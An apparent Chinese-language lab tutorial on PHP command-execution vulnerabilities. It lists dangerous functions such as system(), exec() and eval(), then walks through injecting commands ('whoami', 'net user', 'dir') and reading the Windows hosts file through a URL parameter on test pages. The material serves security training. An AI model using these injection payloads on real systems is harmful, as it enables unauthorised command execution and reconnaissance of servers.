应用程序有时需要调用一些执行命令的函数,由于服务器对代码中可执行的特殊函数入口没有做过滤,并且用户能够控制这些函数中的参数时,就可以将恶意命令拼接到正常命令中,从而造成命令执行攻击。
命令执行漏洞可以分为远程命令执行(代码执行)和系统命令执行两类,常见危险函数也分为两类:代码执行函数和命令执行函数。
PHP中常见代码执行函数:
array_map()
eval()
assert()
preg_replace()
call_user_func()
$a($b)动态函数
PHP中常见系统命令执行函数:
system()
exec()
shell_exec()
passthru()
popen()
反引号"`"
一、允许系统命令执行的相关函数有:
1、system()
1、登陆"Attack"操作机,打开浏览器,访问http://ip/os/system.php
2、在URL后拼接"?a=ipconfig",访问http://ip/os/system.php?a=ipconfig,执行代码
3、在URL后拼接"?a=whoami",访问http://ip/os/system.php?a=whoami,执行代码
2、exec()
1、登陆"Attack"操作机,打开浏览器,访问http://ip/os/exec.php
2、在URL后拼接"?a=ipconfig",访问http://ip/os/exec.php?a=ipconfig,执行代码
3、在URL后拼接"?a=whoami",访问http://ip/os/exec.php?a=whoami,执行代码
3、shell_exec()
1、登陆"Attack"操作机,打开浏览器,访问http://ip/os/shell_exec.php
2、在URL后拼接"?a=ipconfig",访问http://ip/os/shell_exec.php?a=ipconfig,执行代码
3、在URL后拼接"?a=whoami",访问http://ip/os/shell_exec.php?a=whoami,执行代码
4、passthru()
1、登陆"Attack"操作机,打开浏览器,访问http://ip/os/passthru.php
2、在URL后拼接"?a=ipconfig",访问http://ip/os/passthru.php?a=ipconfig,执行代码
3、在URL后拼接"?a=whoami",访问http://ip/os/passthru.php?a=whoami,执行代码
5、popen():将命令执行的结果写入到一个文件
1、登陆"Attack"操作机,打开浏览器,访问http://ip/os/popen.php
2、在URL后拼接a的参数值,比如"?a=1",访问http://ip/os/popen.php?a=1,执行代码,无任何报错
3、访问http://ip/os/1.txt,查看新建的执行结果的文件
6、反引号
1、登陆"Attack"操作机,打开浏览器,访问http://ip/os/fdyh.php
2、在URL后拼接a的参数值,比如"?a=1",访问http://ip/os/fdyh.php?a=1,执行代码,输出想要的结果
6、系统命令执行漏洞利用之执行操作系统命令
原理:
利用系统命令执行漏洞可以执行一些操作系统命令,从而获取重要信息。
1、登陆"Attack"操作机,打开浏览器,访问http://ip/os/system.php
2、在URL后拼接"?a=cd",访问http://ip/os/system.php?a=cd,执行代码,查看当前文件的绝对路径
3、在URL后拼接"?a=dir",访问http://ip/os/system.php?a=dir,执行代码,查看当前目录下的所有文件
4、在URL后拼接"?a=net user",访问http://ip/os/system.php?a=net user,执行代码,查看所有用户
5、在URL后拼接"?a=type c:\windows\system32\drivers\etc\hosts",访问http://ip/os/system.php?a=type c:\windows\system32\drivers\etc\hosts,执行代码,查看hosts文件
这篇文章就先写到这里了